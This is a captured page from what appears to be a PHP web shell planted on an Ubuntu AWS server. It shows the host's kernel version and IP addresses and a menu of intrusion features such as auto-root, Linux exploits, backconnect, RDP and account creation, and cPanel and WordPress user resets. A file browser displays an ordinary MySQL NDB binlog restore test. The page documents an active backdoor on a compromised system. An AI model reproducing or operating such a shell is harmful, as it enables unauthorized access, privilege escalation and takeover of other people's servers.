Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 13.59.210.36
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
ndb_binlog /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
binlog_multi_engine.test
3.44
KB
-rw-r--r--
disabled.def
405
B
-rw-r--r--
ndb_binlog_basic.test
4.89
KB
-rw-r--r--
ndb_binlog_check_binlog_index....
8.88
KB
-rw-r--r--
ndb_binlog_cmp_epoch_vals.inc
1.51
KB
-rw-r--r--
ndb_binlog_ddl_multi.test
3.9
KB
-rw-r--r--
ndb_binlog_default_format-mast...
10
B
-rw-r--r--
ndb_binlog_default_format.cnf
663
B
-rw-r--r--
ndb_binlog_default_format.test
576
B
-rw-r--r--
ndb_binlog_discover.test
1.85
KB
-rw-r--r--
ndb_binlog_discover_multi.test
2.37
KB
-rw-r--r--
ndb_binlog_eventbuffer.test
699
B
-rw-r--r--
ndb_binlog_flush_log_waits.tes...
1.86
KB
-rw-r--r--
ndb_binlog_flush_tables_with_r...
5.47
KB
-rw-r--r--
ndb_binlog_format.test
1.37
KB
-rw-r--r--
ndb_binlog_get_binlog_stmts.in...
122
B
-rw-r--r--
ndb_binlog_get_binlog_stmts_ba...
2.91
KB
-rw-r--r--
ndb_binlog_get_row_extra_data....
1.02
KB
-rw-r--r--
ndb_binlog_ignore_db-master.op...
53
B
-rw-r--r--
ndb_binlog_ignore_db.test
2.39
KB
-rw-r--r--
ndb_binlog_index.test
2.61
KB
-rw-r--r--
ndb_binlog_index_test_schema_i...
4.13
KB
-rw-r--r--
ndb_binlog_init_epoch_vals.inc
355
B
-rw-r--r--
ndb_binlog_last_commit_epoch.t...
2.23
KB
-rw-r--r--
ndb_binlog_log_apply_status.te...
1.88
KB
-rw-r--r--
ndb_binlog_log_bin.test
1.53
KB
-rw-r--r--
ndb_binlog_log_reads.cnf
1
KB
-rw-r--r--
ndb_binlog_log_reads.test
18.2
KB
-rw-r--r--
ndb_binlog_log_transaction_id-...
59
B
-rw-r--r--
ndb_binlog_log_transaction_id....
3.25
KB
-rw-r--r--
ndb_binlog_manual_apply.cnf
61
B
-rw-r--r--
ndb_binlog_manual_apply.test
1.79
KB
-rw-r--r--
ndb_binlog_multi.test
3.4
KB
-rw-r--r--
ndb_binlog_purge-master.opt
77
B
-rw-r--r--
ndb_binlog_purge.test
2.71
KB
-rw-r--r--
ndb_binlog_restore.test
5.16
KB
-rw-r--r--
ndb_binlog_size_based_rotate.t...
597
B
-rw-r--r--
ndb_binlog_test_conflict_flags...
3.63
KB
-rw-r--r--
ndb_binlog_unique_epoch.cnf
164
B
-rw-r--r--
ndb_binlog_unique_epoch.test
3.86
KB
-rw-r--r--
ndb_binlog_variants.cnf
975
B
-rw-r--r--
ndb_binlog_variants.test
10.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ndb_binlog_restore.test
# The include statement below is a temp one for tests that are yet to #be ported to run with InnoDB, #but needs to be kept for tests that would need MyISAM in future. --source include/force_myisam_default.inc #Server variable option 'lower_case_table_names' sets '0' as default value #in case sensitive filesystem. Using 'lower_case_table_names=0' in case of #insensitive filsystem is not allowed. -- source include/have_case_sensitive_file_system.inc -- source include/have_ndb.inc -- source include/have_binlog_format_mixed_or_row.inc # Directory containing the saved backup files let $backup_data_dir=$MYSQL_TEST_DIR/suite/ndb/backups; --disable_warnings drop table if exists t1; --enable_warnings --echo # --echo # create a table with some data with and without binlogging --echo # create table t1 (a int key, b int) engine ndb; insert into t1 values (1,1); # backup and drop data --disable_query_log --source include/ndb_backup.inc --enable_query_log --echo # --echo # reset and restore schema drop table t1; reset master; --exec $NDB_RESTORE --no-defaults -b $the_backup_id -n 1 -m --print --print_meta $NDB_BACKUPS-$the_backup_id >> $NDB_TOOLS_OUTPUT show tables; --echo # --echo # restore and _no_ binlog --exec $NDB_RESTORE --no-defaults --no-binlog -b $the_backup_id -n 1 -r --print --print_meta $NDB_BACKUPS-$the_backup_id >> $NDB_TOOLS_OUTPUT --exec $NDB_RESTORE --no-defaults --no-binlog -b $the_backup_id -n 2 -r --print --print_meta $NDB_BACKUPS-$the_backup_id >> $NDB_TOOLS_OUTPUT --echo # --echo # check the binlog, should be empty apart from our marker --echo # create dummy table to wait for to ensure Binlog contains any previous events create table binlogmarker (a int) engine=ndb; let $wait_binlog_event= binlogmarker; --source include/wait_for_binlog_event.inc --source include/show_binlog_events.inc --echo # --echo # reset and restore schema again drop table binlogmarker; drop table t1; reset master; --exec $NDB_RESTORE --no-defaults -b $the_backup_id -n 1 -m --print --print_meta $NDB_BACKUPS-$the_backup_id >> $NDB_TOOLS_OUTPUT show tables; --echo # --echo # restore and binlog should now happen as well as the marker --exec $NDB_RESTORE --no-defaults -b $the_backup_id -n 1 -r --print --print_meta $NDB_BACKUPS-$the_backup_id >> $NDB_TOOLS_OUTPUT --exec $NDB_RESTORE --no-defaults -b $the_backup_id -n 2 -r --print --print_meta $NDB_BACKUPS-$the_backup_id >> $NDB_TOOLS_OUTPUT --echo # --echo # check the binlog, should contain data --echo # create dummy table to wait for to ensure Binlog contains any previous events create table binlogmarker (a int) engine=ndb; let $wait_binlog_event= binlogmarker; --source include/wait_for_binlog_event.inc --source include/show_binlog_events.inc drop table binlogmarker, t1; --echo # --echo # Now more complex using "BANK schema" including restore of log --echo # --disable_warnings CREATE DATABASE IF NOT EXISTS BANK; DROP DATABASE BANK; --enable_warnings CREATE DATABASE BANK default charset=latin1 default collate=latin1_bin; # # These tables should correspond to the table definitions in # storage/ndb/test/src/NDBT_Tables.cpp # USE BANK; CREATE TABLE GL ( TIME BIGINT UNSIGNED NOT NULL, ACCOUNT_TYPE INT UNSIGNED NOT NULL, BALANCE INT UNSIGNED NOT NULL, DEPOSIT_COUNT INT UNSIGNED NOT NULL, DEPOSIT_SUM INT UNSIGNED NOT NULL, WITHDRAWAL_COUNT INT UNSIGNED NOT NULL, WITHDRAWAL_SUM INT UNSIGNED NOT NULL, PURGED INT UNSIGNED NOT NULL, PRIMARY KEY USING HASH (TIME,ACCOUNT_TYPE)) ENGINE = NDB; CREATE TABLE ACCOUNT ( ACCOUNT_ID INT UNSIGNED NOT NULL, OWNER INT UNSIGNED NOT NULL, BALANCE INT UNSIGNED NOT NULL, ACCOUNT_TYPE INT UNSIGNED NOT NULL, PRIMARY KEY USING HASH (ACCOUNT_ID)) ENGINE = NDB; CREATE TABLE TRANSACTION ( TRANSACTION_ID BIGINT UNSIGNED NOT NULL, ACCOUNT INT UNSIGNED NOT NULL, ACCOUNT_TYPE INT UNSIGNED NOT NULL, OTHER_ACCOUNT INT UNSIGNED NOT NULL, TRANSACTION_TYPE INT UNSIGNED NOT NULL, TIME BIGINT UNSIGNED NOT NULL, AMOUNT INT UNSIGNED NOT NULL, PRIMARY KEY USING HASH (TRANSACTION_ID,ACCOUNT)) ENGINE = NDB; CREATE TABLE SYSTEM_VALUES ( SYSTEM_VALUES_ID INT UNSIGNED NOT NULL, VALUE BIGINT UNSIGNED NOT NULL, PRIMARY KEY USING HASH (SYSTEM_VALUES_ID)) ENGINE = NDB; CREATE TABLE ACCOUNT_TYPE ( ACCOUNT_TYPE_ID INT UNSIGNED NOT NULL, DESCRIPTION CHAR(64) NOT NULL, PRIMARY KEY USING HASH (ACCOUNT_TYPE_ID)) ENGINE = NDB; --echo # --echo # reset, restore and binlog should _not_ happen reset master; --exec $NDB_RESTORE --no-defaults --no-binlog -b 1 -n 1 -p 1 -r $backup_data_dir/51 >> $NDB_TOOLS_OUTPUT --exec $NDB_RESTORE --no-defaults --no-binlog -b 1 -n 2 -p 1 -r $backup_data_dir/51 >> $NDB_TOOLS_OUTPUT select count(*) from TRANSACTION; --source include/show_binlog_events.inc DROP DATABASE BANK;
Close